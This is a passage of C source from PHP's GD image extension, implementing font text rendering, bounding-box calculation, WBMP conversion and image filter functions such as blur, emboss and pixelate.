TTFTEXT_BBOX, 0); } /* }}} */ /* {{{ proto array imagettftext(resource im, float size, float angle, int x, int y, int col, string font_file, string text) Write text to the image using a TrueType font */ PHP_FUNCTION(imagettftext) { php_imagettftext_common(INTERNAL_FUNCTION_PARAM_PASSTHRU, TTFTEXT_DRAW, 0); } /* }}} */ /* {{{ php_imagettftext_common */ static void php_imagettftext_common(INTERNAL_FUNCTION_PARAMETERS, int mode, int extended) { zval *IM, *EXT = NULL; gdImagePtr im=NULL; long col = -1, x = -1, y = -1; int str_len, fontname_len, i, brect[8]; double ptsize, angle; char *str = NULL, *fontname = NULL; char *error = NULL; int argc = ZEND_NUM_ARGS(); gdFTStringExtra strex = {0}; if (mode == TTFTEXT_BBOX) { if (argc < 4 || argc > ((extended) ? 5 : 4)) { ZEND_WRONG_PARAM_COUNT(); } else if (zend_parse_parameters(argc TSRMLS_CC, "ddss|a", &ptsize, &angle, &fontname, &fontname_len, &str, &str_len, &EXT) == FAILURE) { RETURN_FALSE; } } else { if (argc < 8 || argc > ((extended) ? 9 : 8)) { ZEND_WRONG_PARAM_COUNT(); } else if (zend_parse_parameters(argc TSRMLS_CC, "rddlllss|a", &IM, &ptsize, &angle, &x, &y, &col, &fontname, &fontname_len, &str, &str_len, &EXT) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); } /* convert angle to radians */ angle = angle * (M_PI/180); if (extended && EXT) { /* parse extended info */ HashPosition pos; /* walk the assoc array */ zend_hash_internal_pointer_reset_ex(HASH_OF(EXT), &pos); do { zval ** item; char * key; ulong num_key; if (zend_hash_get_current_key_ex(HASH_OF(EXT), &key, NULL, &num_key, 0, &pos) != HASH_KEY_IS_STRING) { continue; } if (zend_hash_get_current_data_ex(HASH_OF(EXT), (void **) &item, &pos) == FAILURE) { continue; } if (strcmp("linespacing", key) == 0) { convert_to_double_ex(item); strex.flags |= gdFTEX_LINESPACE; strex.linespacing = Z_DVAL_PP(item); } } while (zend_hash_move_forward_ex(HASH_OF(EXT), &pos) == SUCCESS); } #ifdef VIRTUAL_DIR { char tmp_font_path[MAXPATHLEN]; if (!VCWD_REALPATH(fontname, tmp_font_path)) { fontname = NULL; } } #endif /* VIRTUAL_DIR */ PHP_GD_CHECK_OPEN_BASEDIR(fontname, "Invalid font filename"); #ifdef HAVE_GD_FREETYPE if (extended) { error = gdImageStringFTEx(im, brect, col, fontname, ptsize, angle, x, y, str, &strex); } else error = gdImageStringFT(im, brect, col, fontname, ptsize, angle, x, y, str); #endif /* HAVE_GD_FREETYPE */ if (error) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", error); RETURN_FALSE; } array_init(return_value); /* return array with the text's bounding box */ for (i = 0; i < 8; i++) { add_next_index_long(return_value, brect[i]); } } /* }}} */ #endif /* ENABLE_GD_TTF */ #if HAVE_LIBT1 /* {{{ php_free_ps_font */ static void php_free_ps_font(zend_rsrc_list_entry *rsrc TSRMLS_DC) { int *font = (int *) rsrc->ptr; T1_DeleteFont(*font); efree(font); } /* }}} */ /* {{{ php_free_ps_enc */ static void php_free_ps_enc(zend_rsrc_list_entry *rsrc TSRMLS_DC) { char **enc = (char **) rsrc->ptr; T1_DeleteEncoding(enc); } /* }}} */ /* {{{ proto resource imagepsloadfont(string pathname) Load a new font from specified file */ PHP_FUNCTION(imagepsloadfont) { char *file; int file_len, f_ind, *font; #ifdef PHP_WIN32 struct stat st; #endif if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "p", &file, &file_len) == FAILURE) { return; } #ifdef PHP_WIN32 if (VCWD_STAT(file, &st) < 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Font file not found (%s)", file); RETURN_FALSE; } #endif f_ind = T1_AddFont(file); if (f_ind < 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error (%i): %s", f_ind, T1_StrError(f_ind)); RETURN_FALSE; } if (T1_LoadFont(f_ind)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't load the font"); RETURN_FALSE; } font = (int *) emalloc(sizeof(int)); *font = f_ind; ZEND_REGISTER_RESOURCE(return_value, font, le_ps_font); } /* }}} */ /* {{{ proto int imagepscopyfont(int font_index) Make a copy of a font for purposes like extending or reenconding */ /* The function in t1lib which this function uses seem to be buggy... PHP_FUNCTION(imagepscopyfont) { int l_ind, type; gd_ps_font *nf_ind, *of_ind; long fnt; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &fnt) == FAILURE) { return; } of_ind = zend_list_find(fnt, &type); if (type != le_ps_font) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "%ld is not a Type 1 font index", fnt); RETURN_FALSE; } nf_ind = emalloc(sizeof(gd_ps_font)); nf_ind->font_id = T1_CopyFont(of_ind->font_id); if (nf_ind->font_id < 0) { l_ind = nf_ind->font_id; efree(nf_ind); switch (l_ind) { case -1: php_error_docref(NULL TSRMLS_CC, E_WARNING, "FontID %d is not loaded in memory", l_ind); RETURN_FALSE; break; case -2: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tried to copy a logical font"); RETURN_FALSE; break; case -3: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Memory allocation fault in t1lib"); RETURN_FALSE; break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "An unknown error occurred in t1lib"); RETURN_FALSE; break; } } nf_ind->extend = 1; l_ind = zend_list_insert(nf_ind, le_ps_font TSRMLS_CC); RETURN_LONG(l_ind); } */ /* }}} */ /* {{{ proto bool imagepsfreefont(resource font_index) Free memory used by a font */ PHP_FUNCTION(imagepsfreefont) { zval *fnt; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &fnt) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); zend_list_delete(Z_LVAL_P(fnt)); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsencodefont(resource font_index, string filename) To change a fonts character encoding vector */ PHP_FUNCTION(imagepsencodefont) { zval *fnt; char *enc, **enc_vector; int enc_len, *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rp", &fnt, &enc, &enc_len) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); if ((enc_vector = T1_LoadEncoding(enc)) == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't load encoding vector from %s", enc); RETURN_FALSE; } T1_DeleteAllSizes(*f_ind); if (T1_ReencodeFont(*f_ind, enc_vector)) { T1_DeleteEncoding(enc_vector); php_error_docref(NULL TSRMLS_CC, E_WARNING, "Couldn't re-encode font"); RETURN_FALSE; } zend_list_insert(enc_vector, le_ps_enc TSRMLS_CC); RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsextendfont(resource font_index, float extend) Extend or or condense (if extend < 1) a font */ PHP_FUNCTION(imagepsextendfont) { zval *fnt; double ext; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rd", &fnt, &ext) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); T1_DeleteAllSizes(*f_ind); if (ext <= 0) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Second parameter %F out of range (must be > 0)", ext); RETURN_FALSE; } if (T1_ExtendFont(*f_ind, ext) != 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto bool imagepsslantfont(resource font_index, float slant) Slant a font */ PHP_FUNCTION(imagepsslantfont) { zval *fnt; double slt; int *f_ind; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rd", &fnt, &slt) == FAILURE) { return; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); if (T1_SlantFont(*f_ind, slt) != 0) { RETURN_FALSE; } RETURN_TRUE; } /* }}} */ /* {{{ proto array imagepstext(resource image, string text, resource font, int size, int foreground, int background, int xcoord, int ycoord [, int space [, int tightness [, float angle [, int antialias]) Rasterize a string over an image */ PHP_FUNCTION(imagepstext) { zval *img, *fnt; int i, j; long _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0; int *f_ind; int h_lines, v_lines, c_ind; int rd, gr, bl, fg_rd, fg_gr, fg_bl, bg_rd, bg_gr, bg_bl; int fg_al, bg_al, al; int aa[16]; int amount_kern, add_width; double angle = 0.0, extend; unsigned long aa_greys[] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}; gdImagePtr bg_img; GLYPH *str_img; T1_OUTLINE *char_path, *str_path; T1_TMATRIX *transform = NULL; char *str; int str_len; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rsrlllll|lldl", &img, &str, &str_len, &fnt, &size, &_fg, &_bg, &x, &y, &space, &width, &angle, &aa_steps) == FAILURE) { return; } if (aa_steps != 4 && aa_steps != 16) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Antialias steps must be 4 or 16"); RETURN_FALSE; } ZEND_FETCH_RESOURCE(bg_img, gdImagePtr, &img, -1, "Image", le_gd); ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); /* Ensure that the provided colors are valid */ if (_fg < 0 || (!gdImageTrueColor(bg_img) && _fg > gdImageColorsTotal(bg_img))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Foreground color index %ld out of range", _fg); RETURN_FALSE; } if (_bg < 0 || (!gdImageTrueColor(bg_img) && _fg > gdImageColorsTotal(bg_img))) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Background color index %ld out of range", _bg); RETURN_FALSE; } fg_rd = gdImageRed (bg_img, _fg); fg_gr = gdImageGreen(bg_img, _fg); fg_bl = gdImageBlue (bg_img, _fg); fg_al = gdImageAlpha(bg_img, _fg); bg_rd = gdImageRed (bg_img, _bg); bg_gr = gdImageGreen(bg_img, _bg); bg_bl = gdImageBlue (bg_img, _bg); bg_al = gdImageAlpha(bg_img, _bg); for (i = 0; i < aa_steps; i++) { rd = bg_rd + (double) (fg_rd - bg_rd) / aa_steps * (i + 1); gr = bg_gr + (double) (fg_gr - bg_gr) / aa_steps * (i + 1); bl = bg_bl + (double) (fg_bl - bg_bl) / aa_steps * (i + 1); al = bg_al + (double) (fg_al - bg_al) / aa_steps * (i + 1); aa[i] = gdImageColorResolveAlpha(bg_img, rd, gr, bl, al); } T1_AASetBitsPerPixel(8); switch (aa_steps) { case 4: T1_AASetGrayValues(0, 1, 2, 3, 4); T1_AASetLevel(T1_AA_LOW); break; case 16: T1_AAHSetGrayValues(aa_greys); T1_AASetLevel(T1_AA_HIGH); break; default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid value %ld as number of steps for antialiasing", aa_steps); RETURN_FALSE; } if (angle) { transform = T1_RotateMatrix(NULL, angle); } if (width) { extend = T1_GetExtend(*f_ind); str_path = T1_GetCharOutline(*f_ind, str[0], size, transform); if (!str_path) { if (T1_errno) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error: %s", T1_StrError(T1_errno)); } RETURN_FALSE; } for (i = 1; i < str_len; i++) { amount_kern = (int) T1_GetKerning(*f_ind, str[i - 1], str[i]); amount_kern += str[i - 1] == ' ' ? space : 0; add_width = (int) (amount_kern + width) / extend; char_path = T1_GetMoveOutline(*f_ind, add_width, 0, 0, size, transform); str_path = T1_ConcatOutlines(str_path, char_path); char_path = T1_GetCharOutline(*f_ind, str[i], size, transform); str_path = T1_ConcatOutlines(str_path, char_path); } str_img = T1_AAFillOutline(str_path, 0); } else { str_img = T1_AASetString(*f_ind, str, str_len, space, T1_KERNING, size, transform); } if (T1_errno) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "T1Lib Error: %s", T1_StrError(T1_errno)); RETURN_FALSE; } h_lines = str_img->metrics.ascent - str_img->metrics.descent; v_lines = str_img->metrics.rightSideBearing - str_img->metrics.leftSideBearing; for (i = 0; i < v_lines; i++) { for (j = 0; j < h_lines; j++) { switch (str_img->bits[j * v_lines + i]) { case 0: break; default: c_ind = aa[str_img->bits[j * v_lines + i] - 1]; gdImageSetPixel(bg_img, x + str_img->metrics.leftSideBearing + i, y - str_img->metrics.ascent + j, c_ind); break; } } } array_init(return_value); add_next_index_long(return_value, str_img->metrics.leftSideBearing); add_next_index_long(return_value, str_img->metrics.descent); add_next_index_long(return_value, str_img->metrics.rightSideBearing); add_next_index_long(return_value, str_img->metrics.ascent); } /* }}} */ /* {{{ proto array imagepsbbox(string text, resource font, int size [, int space, int tightness, float angle]) Return the bounding box needed by a string if rasterized */ PHP_FUNCTION(imagepsbbox) { zval *fnt; long sz = 0, sp = 0, wd = 0; char *str; int i, space = 0, add_width = 0, char_width, amount_kern; int cur_x, cur_y, dx, dy; int x1, y1, x2, y2, x3, y3, x4, y4; int *f_ind; int str_len, per_char = 0; int argc = ZEND_NUM_ARGS(); double angle = 0, sin_a = 0, cos_a = 0; BBox char_bbox, str_bbox = {0, 0, 0, 0}; if (argc != 3 && argc != 6) { ZEND_WRONG_PARAM_COUNT(); } if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "srl|lld", &str, &str_len, &fnt, &sz, &sp, &wd, &angle) == FAILURE) { return; } if (argc == 6) { space = sp; add_width = wd; angle = angle * M_PI / 180; sin_a = sin(angle); cos_a = cos(angle); per_char = add_width || angle ? 1 : 0; } ZEND_FETCH_RESOURCE(f_ind, int *, &fnt, -1, "Type 1 font", le_ps_font); #define max(a, b) (a > b ? a : b) #define min(a, b) (a < b ? a : b) #define new_x(a, b) (int) ((a) * cos_a - (b) * sin_a) #define new_y(a, b) (int) ((a) * sin_a + (b) * cos_a) if (per_char) { space += T1_GetCharWidth(*f_ind, ' '); cur_x = cur_y = 0; for (i = 0; i < str_len; i++) { if (str[i] == ' ') { char_bbox.llx = char_bbox.lly = char_bbox.ury = 0; char_bbox.urx = char_width = space; } else { char_bbox = T1_GetCharBBox(*f_ind, str[i]); char_width = T1_GetCharWidth(*f_ind, str[i]); } amount_kern = i ? T1_GetKerning(*f_ind, str[i - 1], str[i]) : 0; /* Transfer character bounding box to right place */ x1 = new_x(char_bbox.llx, char_bbox.lly) + cur_x; y1 = new_y(char_bbox.llx, char_bbox.lly) + cur_y; x2 = new_x(char_bbox.llx, char_bbox.ury) + cur_x; y2 = new_y(char_bbox.llx, char_bbox.ury) + cur_y; x3 = new_x(char_bbox.urx, char_bbox.ury) + cur_x; y3 = new_y(char_bbox.urx, char_bbox.ury) + cur_y; x4 = new_x(char_bbox.urx, char_bbox.lly) + cur_x; y4 = new_y(char_bbox.urx, char_bbox.lly) + cur_y; /* Find min & max values and compare them with current bounding box */ str_bbox.llx = min(str_bbox.llx, min(x1, min(x2, min(x3, x4)))); str_bbox.lly = min(str_bbox.lly, min(y1, min(y2, min(y3, y4)))); str_bbox.urx = max(str_bbox.urx, max(x1, max(x2, max(x3, x4)))); str_bbox.ury = max(str_bbox.ury, max(y1, max(y2, max(y3, y4)))); /* Move to the next base point */ dx = new_x(char_width + add_width + amount_kern, 0); dy = new_y(char_width + add_width + amount_kern, 0); cur_x += dx; cur_y += dy; /* printf("%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\t%d\n", x1, y1, x2, y2, x3, y3, x4, y4, char_bbox.llx, char_bbox.lly, char_bbox.urx, char_bbox.ury, char_width, amount_kern, cur_x, cur_y, dx, dy); */ } } else { str_bbox = T1_GetStringBBox(*f_ind, str, str_len, space, T1_KERNING); } if (T1_errno) { RETURN_FALSE; } array_init(return_value); /* printf("%d %d %d %d\n", str_bbox.llx, str_bbox.lly, str_bbox.urx, str_bbox.ury); */ add_next_index_long(return_value, (int) ceil(((double) str_bbox.llx)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.lly)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.urx)*sz/1000)); add_next_index_long(return_value, (int) ceil(((double) str_bbox.ury)*sz/1000)); } /* }}} */ #endif /* {{{ proto bool image2wbmp(resource im [, string filename [, int threshold]]) Output WBMP image to browser or file */ PHP_FUNCTION(image2wbmp) { _php_image_output(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_CONVERT_WBM, "WBMP", _php_image_bw_convert); } /* }}} */ #if defined(HAVE_GD_JPG) /* {{{ proto bool jpeg2wbmp (string f_org, string f_dest, int d_height, int d_width, int threshold) Convert JPEG image to WBMP image */ PHP_FUNCTION(jpeg2wbmp) { _php_image_convert(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_JPG); } /* }}} */ #endif #if defined(HAVE_GD_PNG) /* {{{ proto bool png2wbmp (string f_org, string f_dest, int d_height, int d_width, int threshold) Convert PNG image to WBMP image */ PHP_FUNCTION(png2wbmp) { _php_image_convert(INTERNAL_FUNCTION_PARAM_PASSTHRU, PHP_GDIMG_TYPE_PNG); } /* }}} */ #endif /* {{{ _php_image_bw_convert * It converts a gd Image to bw using a threshold value */ static void _php_image_bw_convert(gdImagePtr im_org, gdIOCtx *out, int threshold) { gdImagePtr im_dest; int white, black; int color, color_org, median; int dest_height = gdImageSY(im_org); int dest_width = gdImageSX(im_org); int x, y; TSRMLS_FETCH(); im_dest = gdImageCreate(dest_width, dest_height); if (im_dest == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate temporary buffer"); return; } white = gdImageColorAllocate(im_dest, 255, 255, 255); if (white == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); return; } black = gdImageColorAllocate(im_dest, 0, 0, 0); if (black == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); return; } if (im_org->trueColor) { gdImageTrueColorToPalette(im_org, 1, 256); } for (y = 0; y < dest_height; y++) { for (x = 0; x < dest_width; x++) { color_org = gdImageGetPixel(im_org, x, y); median = (im_org->red[color_org] + im_org->green[color_org] + im_org->blue[color_org]) / 3; if (median < threshold) { color = black; } else { color = white; } gdImageSetPixel (im_dest, x, y, color); } } gdImageWBMPCtx (im_dest, black, out); } /* }}} */ /* {{{ _php_image_convert * _php_image_convert converts jpeg/png images to wbmp and resizes them as needed */ static void _php_image_convert(INTERNAL_FUNCTION_PARAMETERS, int image_type ) { char *f_org, *f_dest; int f_org_len, f_dest_len; long height, width, threshold; gdImagePtr im_org, im_dest, im_tmp; char *fn_org = NULL; char *fn_dest = NULL; FILE *org, *dest; int dest_height = -1; int dest_width = -1; int org_height, org_width; int white, black; int color, color_org, median; int int_threshold; int x, y; float x_ratio, y_ratio; long ignore_warning; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "pplll", &f_org, &f_org_len, &f_dest, &f_dest_len, &height, &width, &threshold) == FAILURE) { return; } fn_org = f_org; fn_dest = f_dest; dest_height = height; dest_width = width; int_threshold = threshold; /* Check threshold value */ if (int_threshold < 0 || int_threshold > 8) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Invalid threshold value '%d'", int_threshold); RETURN_FALSE; } /* Check origin file */ PHP_GD_CHECK_OPEN_BASEDIR(fn_org, "Invalid origin filename"); /* Check destination file */ PHP_GD_CHECK_OPEN_BASEDIR(fn_dest, "Invalid destination filename"); /* Open origin file */ org = VCWD_FOPEN(fn_org, "rb"); if (!org) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for reading", fn_org); RETURN_FALSE; } /* Open destination file */ dest = VCWD_FOPEN(fn_dest, "wb"); if (!dest) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' for writing", fn_dest); RETURN_FALSE; } switch (image_type) { case PHP_GDIMG_TYPE_GIF: im_org = gdImageCreateFromGif(org); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid GIF file", fn_dest); RETURN_FALSE; } break; #ifdef HAVE_GD_JPG case PHP_GDIMG_TYPE_JPG: ignore_warning = INI_INT("gd.jpeg_ignore_warning"); im_org = gdImageCreateFromJpegEx(org, ignore_warning); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid JPEG file", fn_dest); RETURN_FALSE; } break; #endif /* HAVE_GD_JPG */ #ifdef HAVE_GD_PNG case PHP_GDIMG_TYPE_PNG: im_org = gdImageCreateFromPng(org); if (im_org == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to open '%s' Not a valid PNG file", fn_dest); RETURN_FALSE; } break; #endif /* HAVE_GD_PNG */ default: php_error_docref(NULL TSRMLS_CC, E_WARNING, "Format not supported"); RETURN_FALSE; break; } org_width = gdImageSX (im_org); org_height = gdImageSY (im_org); x_ratio = (float) org_width / (float) dest_width; y_ratio = (float) org_height / (float) dest_height; if (x_ratio > 1 && y_ratio > 1) { if (y_ratio > x_ratio) { x_ratio = y_ratio; } else { y_ratio = x_ratio; } dest_width = (int) (org_width / x_ratio); dest_height = (int) (org_height / y_ratio); } else { x_ratio = (float) dest_width / (float) org_width; y_ratio = (float) dest_height / (float) org_height; if (y_ratio < x_ratio) { x_ratio = y_ratio; } else { y_ratio = x_ratio; } dest_width = (int) (org_width * x_ratio); dest_height = (int) (org_height * y_ratio); } im_tmp = gdImageCreate (dest_width, dest_height); if (im_tmp == NULL ) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate temporary buffer"); RETURN_FALSE; } gdImageCopyResized (im_tmp, im_org, 0, 0, 0, 0, dest_width, dest_height, org_width, org_height); gdImageDestroy(im_org); fclose(org); im_dest = gdImageCreate(dest_width, dest_height); if (im_dest == NULL) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate destination buffer"); RETURN_FALSE; } white = gdImageColorAllocate(im_dest, 255, 255, 255); if (white == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); RETURN_FALSE; } black = gdImageColorAllocate(im_dest, 0, 0, 0); if (black == -1) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "Unable to allocate the colors for the destination buffer"); RETURN_FALSE; } int_threshold = int_threshold * 32; for (y = 0; y < dest_height; y++) { for (x = 0; x < dest_width; x++) { color_org = gdImageGetPixel (im_tmp, x, y); median = (im_tmp->red[color_org] + im_tmp->green[color_org] + im_tmp->blue[color_org]) / 3; if (median < int_threshold) { color = black; } else { color = white; } gdImageSetPixel (im_dest, x, y, color); } } gdImageDestroy (im_tmp ); gdImageWBMP(im_dest, black , dest); fflush(dest); fclose(dest); gdImageDestroy(im_dest); RETURN_TRUE; } /* }}} */ /* Section Filters */ #define PHP_GD_SINGLE_RES \ zval *SIM; \ gdImagePtr im_src; \ if (zend_parse_parameters(1 TSRMLS_CC, "r", &SIM) == FAILURE) { \ RETURN_FALSE; \ } \ ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); \ if (im_src == NULL) { \ RETURN_FALSE; \ } static void php_image_filter_negate(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageNegate(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_grayscale(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageGrayScale(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_brightness(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long brightness, tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zll", &SIM, &tmp, &brightness) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageBrightness(im_src, (int)brightness) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_contrast(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long contrast, tmp; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll", &SIM, &tmp, &contrast) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageContrast(im_src, (int)contrast) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_colorize(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; gdImagePtr im_src; long r,g,b,tmp; long a = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rllll|l", &SIM, &tmp, &r, &g, &b, &a) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageColor(im_src, (int) r, (int) g, (int) b, (int) a) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_edgedetect(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageEdgeDetectQuick(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_emboss(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageEmboss(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_gaussian_blur(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageGaussianBlur(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_selective_blur(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageSelectiveBlur(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_mean_removal(INTERNAL_FUNCTION_PARAMETERS) { PHP_GD_SINGLE_RES if (gdImageMeanRemoval(im_src) == 1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_smooth(INTERNAL_FUNCTION_PARAMETERS) { zval *SIM; long tmp; gdImagePtr im_src; double weight; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rld", &SIM, &tmp, &weight) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); if (im_src == NULL) { RETURN_FALSE; } if (gdImageSmooth(im_src, (float)weight)==1) { RETURN_TRUE; } RETURN_FALSE; } static void php_image_filter_pixelate(INTERNAL_FUNCTION_PARAMETERS) { zval *IM; gdImagePtr im; long tmp, blocksize; zend_bool mode = 0; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rll|b", &IM, &tmp, &blocksize, &mode) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im, gdImagePtr, &IM, -1, "Image", le_gd); if (im == NULL) { RETURN_FALSE; } if (gdImagePixelate(im, (int) blocksize, (const unsigned int) mode)) { RETURN_TRUE; } RETURN_FALSE; } /* {{{ proto bool imagefilter(resource src_im, int filtertype, [args] ) Applies Filter an image using a custom angle */ PHP_FUNCTION(imagefilter) { zval *tmp; typedef void (*image_filter)(INTERNAL_FUNCTION_PARAMETERS); long filtertype; image_filter filters[] = { php_image_filter_negate , php_image_filter_grayscale, php_image_filter_brightness, php_image_filter_contrast, php_image_filter_colorize, php_image_filter_edgedetect, php_image_filter_emboss, php_image_filter_gaussian_blur, php_image_filter_selective_blur, php_image_filter_mean_removal, php_image_filter_smooth, php_image_filter_pixelate }; if (ZEND_NUM_ARGS() < 2 || ZEND_NUM_ARGS() > IMAGE_FILTER_MAX_ARGS) { WRONG_PARAM_COUNT; } else if (zend_parse_parameters(2 TSRMLS_CC, "rl", &tmp, &filtertype) == FAILURE) { return; } if (filtertype >= 0 && filtertype <= IMAGE_FILTER_MAX) { filters[filtertype](INTERNAL_FUNCTION_PARAM_PASSTHRU); } } /* }}} */ /* {{{ proto resource imageconvolution(resource src_im, array matrix3x3, double div, double offset) Apply a 3x3 convolution matrix, using coefficient div and offset */ PHP_FUNCTION(imageconvolution) { zval *SIM, *hash_matrix; zval **var = NULL, **var2 = NULL; gdImagePtr im_src = NULL; double div, offset; int nelem, i, j, res; float matrix[3][3] = {{0,0,0}, {0,0,0}, {0,0,0}}; if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "radd", &SIM, &hash_matrix, &div, &offset) == FAILURE) { RETURN_FALSE; } ZEND_FETCH_RESOURCE(im_src, gdImagePtr, &SIM, -1, "Image", le_gd); nelem = zend_hash_num_elements(Z_ARRVAL_P(hash_matrix)); if (nelem != 3) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have 3x3 array"); RETURN_FALSE; } for (i=0; i<3; i++) { if (zend_hash_index_find(Z_ARRVAL_P(hash_matrix), (i), (void **) &var) == SUCCESS && Z_TYPE_PP(var) == IS_ARRAY) { if (Z_TYPE_PP(var) != IS_ARRAY || zend_hash_num_elements(Z_ARRVAL_PP(var)) != 3 ) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must have 3x3 array"); RETURN_FALSE; } for (j=0; j<3; j++) { if (zend_hash_index_find(Z_ARRVAL_PP(var), (j), (void **) &var2) == SUCCESS) { if (Z_TYPE_PP(var2) != IS_DOUBLE) { zval dval; dval = **var2; zval_copy_ctor(&dval); convert_to_double(&dval); matrix[i][j] = (float)Z_DVAL(dval); } else { matrix[i][j] = (float)Z_DVAL_PP(var2); } } else { php_error_docref(NULL TSRMLS_CC, E_WARNING, "You 